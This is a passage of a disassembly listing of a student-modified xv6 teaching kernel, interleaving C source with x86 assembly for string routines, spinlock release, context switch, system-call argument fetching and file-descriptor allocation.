00 00 00 mov 0xa4(%eax),%edx 801041e0: 85 d2 test %edx,%edx 801041e2: 74 04 je 801041e8 <popcli+0x38> sti(); } 801041e4: c9 leave 801041e5: c3 ret 801041e6: 66 90 xchg %ax,%ax if(mycpu()->ncli == 0 && mycpu()->intena) 801041e8: e8 03 f4 ff ff call 801035f0 <mycpu> 801041ed: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801041f3: 85 c0 test %eax,%eax 801041f5: 74 ed je 801041e4 <popcli+0x34> asm volatile("sti"); 801041f7: fb sti } 801041f8: c9 leave 801041f9: c3 ret panic("popcli"); 801041fa: c7 04 24 c2 74 10 80 movl $0x801074c2,(%esp) 80104201: e8 5a c1 ff ff call 80100360 <panic> panic("popcli - interruptible"); 80104206: c7 04 24 ab 74 10 80 movl $0x801074ab,(%esp) 8010420d: e8 4e c1 ff ff call 80100360 <panic> 80104212: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104220 <release>: { 80104220: 55 push %ebp 80104221: 89 e5 mov %esp,%ebp 80104223: 56 push %esi 80104224: 53 push %ebx 80104225: 83 ec 10 sub $0x10,%esp 80104228: 8b 5d 08 mov 0x8(%ebp),%ebx return lock->locked && lock->cpu == mycpu(); 8010422b: 8b 03 mov (%ebx),%eax 8010422d: 85 c0 test %eax,%eax 8010422f: 75 0f jne 80104240 <release+0x20> panic("release"); 80104231: c7 04 24 c9 74 10 80 movl $0x801074c9,(%esp) 80104238: e8 23 c1 ff ff call 80100360 <panic> 8010423d: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 80104240: 8b 73 08 mov 0x8(%ebx),%esi 80104243: e8 a8 f3 ff ff call 801035f0 <mycpu> if(!holding(lk)) 80104248: 39 c6 cmp %eax,%esi 8010424a: 75 e5 jne 80104231 <release+0x11> lk->pcs[0] = 0; 8010424c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 80104253: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 8010425a: 0f ae f0 mfence asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010425d: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104263: 83 c4 10 add $0x10,%esp 80104266: 5b pop %ebx 80104267: 5e pop %esi 80104268: 5d pop %ebp popcli(); 80104269: e9 42 ff ff ff jmp 801041b0 <popcli> 8010426e: 66 90 xchg %ax,%ax 80104270 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104270: 55 push %ebp 80104271: 89 e5 mov %esp,%ebp 80104273: 8b 55 08 mov 0x8(%ebp),%edx 80104276: 57 push %edi 80104277: 8b 4d 10 mov 0x10(%ebp),%ecx 8010427a: 53 push %ebx if ((int)dst%4 == 0 && n%4 == 0){ 8010427b: f6 c2 03 test $0x3,%dl 8010427e: 75 05 jne 80104285 <memset+0x15> 80104280: f6 c1 03 test $0x3,%cl 80104283: 74 13 je 80104298 <memset+0x28> asm volatile("cld; rep stosb" : 80104285: 89 d7 mov %edx,%edi 80104287: 8b 45 0c mov 0xc(%ebp),%eax 8010428a: fc cld 8010428b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010428d: 5b pop %ebx 8010428e: 89 d0 mov %edx,%eax 80104290: 5f pop %edi 80104291: 5d pop %ebp 80104292: c3 ret 80104293: 90 nop 80104294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 80104298: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010429c: c1 e9 02 shr $0x2,%ecx 8010429f: 89 f8 mov %edi,%eax 801042a1: 89 fb mov %edi,%ebx 801042a3: c1 e0 18 shl $0x18,%eax 801042a6: c1 e3 10 shl $0x10,%ebx 801042a9: 09 d8 or %ebx,%eax 801042ab: 09 f8 or %edi,%eax 801042ad: c1 e7 08 shl $0x8,%edi 801042b0: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 801042b2: 89 d7 mov %edx,%edi 801042b4: fc cld 801042b5: f3 ab rep stos %eax,%es:(%edi) } 801042b7: 5b pop %ebx 801042b8: 89 d0 mov %edx,%eax 801042ba: 5f pop %edi 801042bb: 5d pop %ebp 801042bc: c3 ret 801042bd: 8d 76 00 lea 0x0(%esi),%esi 801042c0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801042c0: 55 push %ebp 801042c1: 89 e5 mov %esp,%ebp 801042c3: 8b 45 10 mov 0x10(%ebp),%eax 801042c6: 57 push %edi 801042c7: 56 push %esi 801042c8: 8b 75 0c mov 0xc(%ebp),%esi 801042cb: 53 push %ebx 801042cc: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801042cf: 85 c0 test %eax,%eax 801042d1: 8d 78 ff lea -0x1(%eax),%edi 801042d4: 74 26 je 801042fc <memcmp+0x3c> if(*s1 != *s2) 801042d6: 0f b6 03 movzbl (%ebx),%eax 801042d9: 31 d2 xor %edx,%edx 801042db: 0f b6 0e movzbl (%esi),%ecx 801042de: 38 c8 cmp %cl,%al 801042e0: 74 16 je 801042f8 <memcmp+0x38> 801042e2: eb 24 jmp 80104308 <memcmp+0x48> 801042e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042e8: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax 801042ed: 83 c2 01 add $0x1,%edx 801042f0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 801042f4: 38 c8 cmp %cl,%al 801042f6: 75 10 jne 80104308 <memcmp+0x48> while(n-- > 0){ 801042f8: 39 fa cmp %edi,%edx 801042fa: 75 ec jne 801042e8 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801042fc: 5b pop %ebx return 0; 801042fd: 31 c0 xor %eax,%eax } 801042ff: 5e pop %esi 80104300: 5f pop %edi 80104301: 5d pop %ebp 80104302: c3 ret 80104303: 90 nop 80104304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104308: 5b pop %ebx return *s1 - *s2; 80104309: 29 c8 sub %ecx,%eax } 8010430b: 5e pop %esi 8010430c: 5f pop %edi 8010430d: 5d pop %ebp 8010430e: c3 ret 8010430f: 90 nop 80104310 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104310: 55 push %ebp 80104311: 89 e5 mov %esp,%ebp 80104313: 57 push %edi 80104314: 8b 45 08 mov 0x8(%ebp),%eax 80104317: 56 push %esi 80104318: 8b 75 0c mov 0xc(%ebp),%esi 8010431b: 53 push %ebx 8010431c: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010431f: 39 c6 cmp %eax,%esi 80104321: 73 35 jae 80104358 <memmove+0x48> 80104323: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104326: 39 c8 cmp %ecx,%eax 80104328: 73 2e jae 80104358 <memmove+0x48> s += n; d += n; while(n-- > 0) 8010432a: 85 db test %ebx,%ebx d += n; 8010432c: 8d 3c 18 lea (%eax,%ebx,1),%edi while(n-- > 0) 8010432f: 8d 53 ff lea -0x1(%ebx),%edx 80104332: 74 1b je 8010434f <memmove+0x3f> 80104334: f7 db neg %ebx 80104336: 8d 34 19 lea (%ecx,%ebx,1),%esi 80104339: 01 fb add %edi,%ebx 8010433b: 90 nop 8010433c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 80104340: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104344: 88 0c 13 mov %cl,(%ebx,%edx,1) while(n-- > 0) 80104347: 83 ea 01 sub $0x1,%edx 8010434a: 83 fa ff cmp $0xffffffff,%edx 8010434d: 75 f1 jne 80104340 <memmove+0x30> } else while(n-- > 0) *d++ = *s++; return dst; } 8010434f: 5b pop %ebx 80104350: 5e pop %esi 80104351: 5f pop %edi 80104352: 5d pop %ebp 80104353: c3 ret 80104354: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104358: 31 d2 xor %edx,%edx 8010435a: 85 db test %ebx,%ebx 8010435c: 74 f1 je 8010434f <memmove+0x3f> 8010435e: 66 90 xchg %ax,%ax *d++ = *s++; 80104360: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104364: 88 0c 10 mov %cl,(%eax,%edx,1) 80104367: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010436a: 39 da cmp %ebx,%edx 8010436c: 75 f2 jne 80104360 <memmove+0x50> } 8010436e: 5b pop %ebx 8010436f: 5e pop %esi 80104370: 5f pop %edi 80104371: 5d pop %ebp 80104372: c3 ret 80104373: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104380 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104380: 55 push %ebp 80104381: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104383: 5d pop %ebp return memmove(dst, src, n); 80104384: eb 8a jmp 80104310 <memmove> 80104386: 8d 76 00 lea 0x0(%esi),%esi 80104389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104390 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80104390: 55 push %ebp 80104391: 89 e5 mov %esp,%ebp 80104393: 56 push %esi 80104394: 8b 75 10 mov 0x10(%ebp),%esi 80104397: 53 push %ebx 80104398: 8b 4d 08 mov 0x8(%ebp),%ecx 8010439b: 8b 5d 0c mov 0xc(%ebp),%ebx while(n > 0 && *p && *p == *q) 8010439e: 85 f6 test %esi,%esi 801043a0: 74 30 je 801043d2 <strncmp+0x42> 801043a2: 0f b6 01 movzbl (%ecx),%eax 801043a5: 84 c0 test %al,%al 801043a7: 74 2f je 801043d8 <strncmp+0x48> 801043a9: 0f b6 13 movzbl (%ebx),%edx 801043ac: 38 d0 cmp %dl,%al 801043ae: 75 46 jne 801043f6 <strncmp+0x66> 801043b0: 8d 51 01 lea 0x1(%ecx),%edx 801043b3: 01 ce add %ecx,%esi 801043b5: eb 14 jmp 801043cb <strncmp+0x3b> 801043b7: 90 nop 801043b8: 0f b6 02 movzbl (%edx),%eax 801043bb: 84 c0 test %al,%al 801043bd: 74 31 je 801043f0 <strncmp+0x60> 801043bf: 0f b6 19 movzbl (%ecx),%ebx 801043c2: 83 c2 01 add $0x1,%edx 801043c5: 38 d8 cmp %bl,%al 801043c7: 75 17 jne 801043e0 <strncmp+0x50> n--, p++, q++; 801043c9: 89 cb mov %ecx,%ebx while(n > 0 && *p && *p == *q) 801043cb: 39 f2 cmp %esi,%edx n--, p++, q++; 801043cd: 8d 4b 01 lea 0x1(%ebx),%ecx while(n > 0 && *p && *p == *q) 801043d0: 75 e6 jne 801043b8 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 801043d2: 5b pop %ebx return 0; 801043d3: 31 c0 xor %eax,%eax } 801043d5: 5e pop %esi 801043d6: 5d pop %ebp 801043d7: c3 ret 801043d8: 0f b6 1b movzbl (%ebx),%ebx while(n > 0 && *p && *p == *q) 801043db: 31 c0 xor %eax,%eax 801043dd: 8d 76 00 lea 0x0(%esi),%esi return (uchar)*p - (uchar)*q; 801043e0: 0f b6 d3 movzbl %bl,%edx 801043e3: 29 d0 sub %edx,%eax } 801043e5: 5b pop %ebx 801043e6: 5e pop %esi 801043e7: 5d pop %ebp 801043e8: c3 ret 801043e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801043f0: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx 801043f4: eb ea jmp 801043e0 <strncmp+0x50> while(n > 0 && *p && *p == *q) 801043f6: 89 d3 mov %edx,%ebx 801043f8: eb e6 jmp 801043e0 <strncmp+0x50> 801043fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104400 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80104400: 55 push %ebp 80104401: 89 e5 mov %esp,%ebp 80104403: 8b 45 08 mov 0x8(%ebp),%eax 80104406: 56 push %esi 80104407: 8b 4d 10 mov 0x10(%ebp),%ecx 8010440a: 53 push %ebx 8010440b: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 8010440e: 89 c2 mov %eax,%edx 80104410: eb 19 jmp 8010442b <strncpy+0x2b> 80104412: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104418: 83 c3 01 add $0x1,%ebx 8010441b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010441f: 83 c2 01 add $0x1,%edx 80104422: 84 c9 test %cl,%cl 80104424: 88 4a ff mov %cl,-0x1(%edx) 80104427: 74 09 je 80104432 <strncpy+0x32> 80104429: 89 f1 mov %esi,%ecx 8010442b: 85 c9 test %ecx,%ecx 8010442d: 8d 71 ff lea -0x1(%ecx),%esi 80104430: 7f e6 jg 80104418 <strncpy+0x18> ; while(n-- > 0) 80104432: 31 c9 xor %ecx,%ecx 80104434: 85 f6 test %esi,%esi 80104436: 7e 0f jle 80104447 <strncpy+0x47> *s++ = 0; 80104438: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 8010443c: 89 f3 mov %esi,%ebx 8010443e: 83 c1 01 add $0x1,%ecx 80104441: 29 cb sub %ecx,%ebx while(n-- > 0) 80104443: 85 db test %ebx,%ebx 80104445: 7f f1 jg 80104438 <strncpy+0x38> return os; } 80104447: 5b pop %ebx 80104448: 5e pop %esi 80104449: 5d pop %ebp 8010444a: c3 ret 8010444b: 90 nop 8010444c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104450 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104450: 55 push %ebp 80104451: 89 e5 mov %esp,%ebp 80104453: 8b 4d 10 mov 0x10(%ebp),%ecx 80104456: 56 push %esi 80104457: 8b 45 08 mov 0x8(%ebp),%eax 8010445a: 53 push %ebx 8010445b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010445e: 85 c9 test %ecx,%ecx 80104460: 7e 26 jle 80104488 <safestrcpy+0x38> 80104462: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104466: 89 c1 mov %eax,%ecx 80104468: eb 17 jmp 80104481 <safestrcpy+0x31> 8010446a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104470: 83 c2 01 add $0x1,%edx 80104473: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104477: 83 c1 01 add $0x1,%ecx 8010447a: 84 db test %bl,%bl 8010447c: 88 59 ff mov %bl,-0x1(%ecx) 8010447f: 74 04 je 80104485 <safestrcpy+0x35> 80104481: 39 f2 cmp %esi,%edx 80104483: 75 eb jne 80104470 <safestrcpy+0x20> ; *s = 0; 80104485: c6 01 00 movb $0x0,(%ecx) return os; } 80104488: 5b pop %ebx 80104489: 5e pop %esi 8010448a: 5d pop %ebp 8010448b: c3 ret 8010448c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104490 <strlen>: int strlen(const char *s) { 80104490: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104491: 31 c0 xor %eax,%eax { 80104493: 89 e5 mov %esp,%ebp 80104495: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104498: 80 3a 00 cmpb $0x0,(%edx) 8010449b: 74 0c je 801044a9 <strlen+0x19> 8010449d: 8d 76 00 lea 0x0(%esi),%esi 801044a0: 83 c0 01 add $0x1,%eax 801044a3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 801044a7: 75 f7 jne 801044a0 <strlen+0x10> ; return n; } 801044a9: 5d pop %ebp 801044aa: c3 ret 801044ab <swtch>: # Save current register context in old # and then load register context from new. .globl swtch swtch: movl 4(%esp), %eax 801044ab: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 801044af: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-save registers pushl %ebp 801044b3: 55 push %ebp pushl %ebx 801044b4: 53 push %ebx pushl %esi 801044b5: 56 push %esi pushl %edi 801044b6: 57 push %edi # Switch stacks movl %esp, (%eax) 801044b7: 89 20 mov %esp,(%eax) movl %edx, %esp 801044b9: 89 d4 mov %edx,%esp # Load new callee-save registers popl %edi 801044bb: 5f pop %edi popl %esi 801044bc: 5e pop %esi popl %ebx 801044bd: 5b pop %ebx popl %ebp 801044be: 5d pop %ebp ret 801044bf: c3 ret 801044c0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801044c0: 55 push %ebp 801044c1: 89 e5 mov %esp,%ebp 801044c3: 8b 45 08 mov 0x8(%ebp),%eax //struct proc *curproc = myproc(); if(addr >= NEWKERNBASE || addr+4 > NEWKERNBASE) //put in newkernbase for top word in lab 3 801044c6: 3d fb ff ff 7f cmp $0x7ffffffb,%eax 801044cb: 77 0b ja 801044d8 <fetchint+0x18> return -1; *ip = *(int*)(addr); 801044cd: 8b 10 mov (%eax),%edx 801044cf: 8b 45 0c mov 0xc(%ebp),%eax 801044d2: 89 10 mov %edx,(%eax) return 0; 801044d4: 31 c0 xor %eax,%eax } 801044d6: 5d pop %ebp 801044d7: c3 ret return -1; 801044d8: b8 ff ff ff ff mov $0xffffffff,%eax } 801044dd: 5d pop %ebp 801044de: c3 ret 801044df: 90 nop 801044e0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801044e0: 55 push %ebp 801044e1: 89 e5 mov %esp,%ebp 801044e3: 8b 55 08 mov 0x8(%ebp),%edx char *s, *ep; //struct proc *curproc = myproc(); if(addr >= NEWKERNBASE) //added newkernbase for top word in lab 3 801044e6: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx 801044ec: 77 21 ja 8010450f <fetchstr+0x2f> return -1; *pp = (char*)addr; 801044ee: 8b 4d 0c mov 0xc(%ebp),%ecx 801044f1: 89 d0 mov %edx,%eax 801044f3: 89 11 mov %edx,(%ecx) ep = (char*)NEWKERNBASE; //added for top word in lab 3 for(s = *pp; s < ep; s++){ if(*s == 0) 801044f5: 80 3a 00 cmpb $0x0,(%edx) 801044f8: 75 0b jne 80104505 <fetchstr+0x25> 801044fa: eb 1c jmp 80104518 <fetchstr+0x38> 801044fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104500: 80 38 00 cmpb $0x0,(%eax) 80104503: 74 13 je 80104518 <fetchstr+0x38> for(s = *pp; s < ep; s++){ 80104505: 83 c0 01 add $0x1,%eax 80104508: 3d ff ff ff 7f cmp $0x7fffffff,%eax 8010450d: 75 f1 jne 80104500 <fetchstr+0x20> return -1; 8010450f: b8 ff ff ff ff mov $0xffffffff,%eax return s - *pp; } return -1; } 80104514: 5d pop %ebp 80104515: c3 ret 80104516: 66 90 xchg %ax,%ax return s - *pp; 80104518: 29 d0 sub %edx,%eax } 8010451a: 5d pop %ebp 8010451b: c3 ret 8010451c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104520 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104520: 55 push %ebp 80104521: 89 e5 mov %esp,%ebp 80104523: 83 ec 08 sub $0x8,%esp return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104526: e8 65 f1 ff ff call 80103690 <myproc> 8010452b: 8b 55 08 mov 0x8(%ebp),%edx 8010452e: 8b 40 18 mov 0x18(%eax),%eax 80104531: 8b 40 44 mov 0x44(%eax),%eax 80104534: 8d 44 90 04 lea 0x4(%eax,%edx,4),%eax if(addr >= NEWKERNBASE || addr+4 > NEWKERNBASE) //put in newkernbase for top word in lab 3 80104538: 3d fb ff ff 7f cmp $0x7ffffffb,%eax 8010453d: 77 11 ja 80104550 <argint+0x30> *ip = *(int*)(addr); 8010453f: 8b 10 mov (%eax),%edx 80104541: 8b 45 0c mov 0xc(%ebp),%eax 80104544: 89 10 mov %edx,(%eax) return 0; 80104546: 31 c0 xor %eax,%eax } 80104548: c9 leave 80104549: c3 ret 8010454a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80104550: b8 ff ff ff ff mov $0xffffffff,%eax } 80104555: c9 leave 80104556: c3 ret 80104557: 89 f6 mov %esi,%esi 80104559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104560 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104560: 55 push %ebp 80104561: 89 e5 mov %esp,%ebp 80104563: 53 push %ebx 80104564: 83 ec 24 sub $0x24,%esp 80104567: 8b 5d 10 mov 0x10(%ebp),%ebx int i; // struct proc *curproc = myproc(); if(argint(n, &i) < 0) 8010456a: 8d 45 f4 lea -0xc(%ebp),%eax 8010456d: 89 44 24 04 mov %eax,0x4(%esp) 80104571: 8b 45 08 mov 0x8(%ebp),%eax 80104574: 89 04 24 mov %eax,(%esp) 80104577: e8 a4 ff ff ff call 80104520 <argint> 8010457c: 85 c0 test %eax,%eax 8010457e: 78 20 js 801045a0 <argptr+0x40> return -1; if(size < 0 || (uint)i >= NEWKERNBASE || (uint)i+size > NEWKERNBASE) //added for top word in lab 3 80104580: 85 db test %ebx,%ebx 80104582: 78 1c js 801045a0 <argptr+0x40> 80104584: 8b 45 f4 mov -0xc(%ebp),%eax 80104587: 3d fe ff ff 7f cmp $0x7ffffffe,%eax 8010458c: 77 12 ja 801045a0 <argptr+0x40> 8010458e: 01 c3 add %eax,%ebx 80104590: 78 0e js 801045a0 <argptr+0x40> return -1; *pp = (char*)i; 80104592: 8b 55 0c mov 0xc(%ebp),%edx 80104595: 89 02 mov %eax,(%edx) return 0; 80104597: 31 c0 xor %eax,%eax } 80104599: 83 c4 24 add $0x24,%esp 8010459c: 5b pop %ebx 8010459d: 5d pop %ebp 8010459e: c3 ret 8010459f: 90 nop return -1; 801045a0: b8 ff ff ff ff mov $0xffffffff,%eax 801045a5: eb f2 jmp 80104599 <argptr+0x39> 801045a7: 89 f6 mov %esi,%esi 801045a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801045b0 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 801045b0: 55 push %ebp 801045b1: 89 e5 mov %esp,%ebp 801045b3: 83 ec 28 sub $0x28,%esp int addr; if(argint(n, &addr) < 0) 801045b6: 8d 45 f4 lea -0xc(%ebp),%eax 801045b9: 89 44 24 04 mov %eax,0x4(%esp) 801045bd: 8b 45 08 mov 0x8(%ebp),%eax 801045c0: 89 04 24 mov %eax,(%esp) 801045c3: e8 58 ff ff ff call 80104520 <argint> 801045c8: 85 c0 test %eax,%eax 801045ca: 78 2b js 801045f7 <argstr+0x47> return -1; return fetchstr(addr, pp); 801045cc: 8b 55 f4 mov -0xc(%ebp),%edx if(addr >= NEWKERNBASE) //added newkernbase for top word in lab 3 801045cf: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx 801045d5: 77 20 ja 801045f7 <argstr+0x47> *pp = (char*)addr; 801045d7: 8b 4d 0c mov 0xc(%ebp),%ecx 801045da: 89 d0 mov %edx,%eax 801045dc: 89 11 mov %edx,(%ecx) if(*s == 0) 801045de: 80 3a 00 cmpb $0x0,(%edx) 801045e1: 75 0a jne 801045ed <argstr+0x3d> 801045e3: eb 1b jmp 80104600 <argstr+0x50> 801045e5: 8d 76 00 lea 0x0(%esi),%esi 801045e8: 80 38 00 cmpb $0x0,(%eax) 801045eb: 74 13 je 80104600 <argstr+0x50> for(s = *pp; s < ep; s++){ 801045ed: 83 c0 01 add $0x1,%eax 801045f0: 3d fe ff ff 7f cmp $0x7ffffffe,%eax 801045f5: 76 f1 jbe 801045e8 <argstr+0x38> return -1; 801045f7: b8 ff ff ff ff mov $0xffffffff,%eax } 801045fc: c9 leave 801045fd: c3 ret 801045fe: 66 90 xchg %ax,%ax return s - *pp; 80104600: 29 d0 sub %edx,%eax } 80104602: c9 leave 80104603: c3 ret 80104604: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010460a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104610 <syscall>: [SYS_shm_close] sys_shm_close }; void syscall(void) { 80104610: 55 push %ebp 80104611: 89 e5 mov %esp,%ebp 80104613: 56 push %esi 80104614: 53 push %ebx 80104615: 83 ec 10 sub $0x10,%esp int num; struct proc *curproc = myproc(); 80104618: e8 73 f0 ff ff call 80103690 <myproc> num = curproc->tf->eax; 8010461d: 8b 70 18 mov 0x18(%eax),%esi struct proc *curproc = myproc(); 80104620: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104622: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104625: 8d 50 ff lea -0x1(%eax),%edx 80104628: 83 fa 16 cmp $0x16,%edx 8010462b: 77 1b ja 80104648 <syscall+0x38> 8010462d: 8b 14 85 00 75 10 80 mov -0x7fef8b00(,%eax,4),%edx 80104634: 85 d2 test %edx,%edx 80104636: 74 10 je 80104648 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104638: ff d2 call *%edx 8010463a: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010463d: 83 c4 10 add $0x10,%esp 80104640: 5b pop %ebx 80104641: 5e pop %esi 80104642: 5d pop %ebp 80104643: c3 ret 80104644: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104648: 89 44 24 0c mov %eax,0xc(%esp) curproc->pid, curproc->name, num); 8010464c: 8d 43 6c lea 0x6c(%ebx),%eax 8010464f: 89 44 24 08 mov %eax,0x8(%esp) cprintf("%d %s: unknown sys call %d\n", 80104653: 8b 43 10 mov 0x10(%ebx),%eax 80104656: c7 04 24 d1 74 10 80 movl $0x801074d1,(%esp) 8010465d: 89 44 24 04 mov %eax,0x4(%esp) 80104661: e8 ea bf ff ff call 80100650 <cprintf> curproc->tf->eax = -1; 80104666: 8b 43 18 mov 0x18(%ebx),%eax 80104669: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 80104670: 83 c4 10 add $0x10,%esp 80104673: 5b pop %ebx 80104674: 5e pop %esi 80104675: 5d pop %ebp 80104676: c3 ret 80104677: 66 90 xchg %ax,%ax 80104679: 66 90 xchg %ax,%ax 8010467b: 66 90 xchg %ax,%ax 8010467d: 66 90 xchg %ax,%ax 8010467f: 90 nop 80104680 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 80104680: 55 push %ebp 80104681: 89 e5 mov %esp,%ebp 80104683: 53 push %ebx 80104684: 89 c3 mov %eax,%ebx 80104686: 83 ec 04 sub $0x4,%esp int fd; struct proc *curproc = myproc(); 80104689: e8 02 f0 ff ff call 80103690 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010468e: 31 d2 xor %edx,%edx if(curproc->ofile[fd] == 0){ 80104690: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80104694: 85 c9 test %ecx,%ecx 80104696: 74 18 je 801046b0 <fdalloc+0x30> for(fd = 0; fd < NOFILE; fd++){ 80104698: 83 c2 01 add $0x1,%edx 8010469b: 83 fa 10 cmp $0x10,%edx 8010469e: 75 f0 jne 80104690 <fdalloc+0x10> curproc->ofile[fd] = f; return fd; } } return -1; } 801046a0: 83 c4 04 add $0x4,%esp return -1; 801046a3: b8 ff ff ff ff mov $0xffffffff,%eax } 801046a8: 5b pop %ebx 801046a9: 5d pop %ebp 801046aa: c3 ret 801046ab: 90 nop 801046ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi curproc->ofile[fd] = f; 801046b0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4) } 801046b4: 83 c4 04 add $0x4,%esp return fd; 801046b7: 89 d0 mov %edx,%eax } 801046b9: 5b pop %ebx 801046ba: 5d pop %ebp 801046bb: c3 ret 801046bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801046c0 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 801046c0: 55 push %ebp 801046c1: 89 e5 mov %esp,%ebp 801046c3: 57 push %edi 801046c4: 56 push %esi 801046c5: 53 push %ebx 801046c6: 83 ec 4c sub $0x4c,%esp 801046c9: 89 4d c0 mov %ecx,-0x40(%ebp) 801046cc: 8b 4d 08 mov 0x8(%ebp),%ecx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 801046cf: 8d 5d da lea -0x26(%ebp),%ebx 801046d2: 89 5c 24 04 mov %ebx,0x4(%esp) 801046d6: 89 04 24 mov %eax,(%esp) { 801046d9: 89 55 c4 mov %edx,-0x3c(%ebp) 801046dc: 89 4d bc mov %ecx,-0x44(%ebp) if((dp = nameiparent(path, name)) == 0) 801046df: e8 2c d8 ff ff call 80101f10 <nameiparent> 801046e4: 85 c0 test %eax,%eax 801046e6: 89 c7 mov %eax,%edi 801046e8: 0f 84 da 00 00 00 je 801047c8 <create+0x108> 